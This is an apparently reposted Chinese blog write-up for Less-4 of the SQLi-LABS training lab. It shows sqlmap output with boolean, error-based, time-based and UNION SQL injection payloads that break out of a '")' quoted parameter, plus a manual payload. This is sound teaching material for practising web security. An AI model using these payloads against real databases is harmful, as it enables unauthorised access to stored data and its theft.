SQLi-LABS Page-4(Basic Challenges)
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLi-LABS Page-4(Basic Challenges)相关的知识,希望对你有一定的参考价值。
sqlmap:
python sqlmap.py -u "http://mysqli/Less-4/?id=1"
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: id=1") AND 7024=7024#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1") AND (SELECT 2492 FROM(SELECT COUNT(*),CONCAT(0x717a787171,(SELECT (ELT(2492=2492,1))),0x7162786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ("UwHi"="UwHi
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1") AND SLEEP(5) AND ("IvWq"="IvWq
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: id=-4748") UNION ALL SELECT NULL,CONCAT(0x717a787171,0x4141775564725459497661497250755a58476d6c684d59445974626d50786d4f7850644772427250,0x7162786b71),NULL#
---
手动:
id=1") and ("1"="1
sql语句:select * from user where name=‘ss‘ and (id = "1") and ("1"="1")
以上是关于SQLi-LABS Page-4(Basic Challenges)的主要内容,如果未能解决你的问题,请参考以下文章
SQLi-LABS Page-3(Basic Challenges)
SQLi-LABS Page-2(Basic Challenges)
SQLi-LABS Page-1(Basic Challenges)
SQL注入SQLi-LABS Page-1(Basic Challenges Less1-Less22)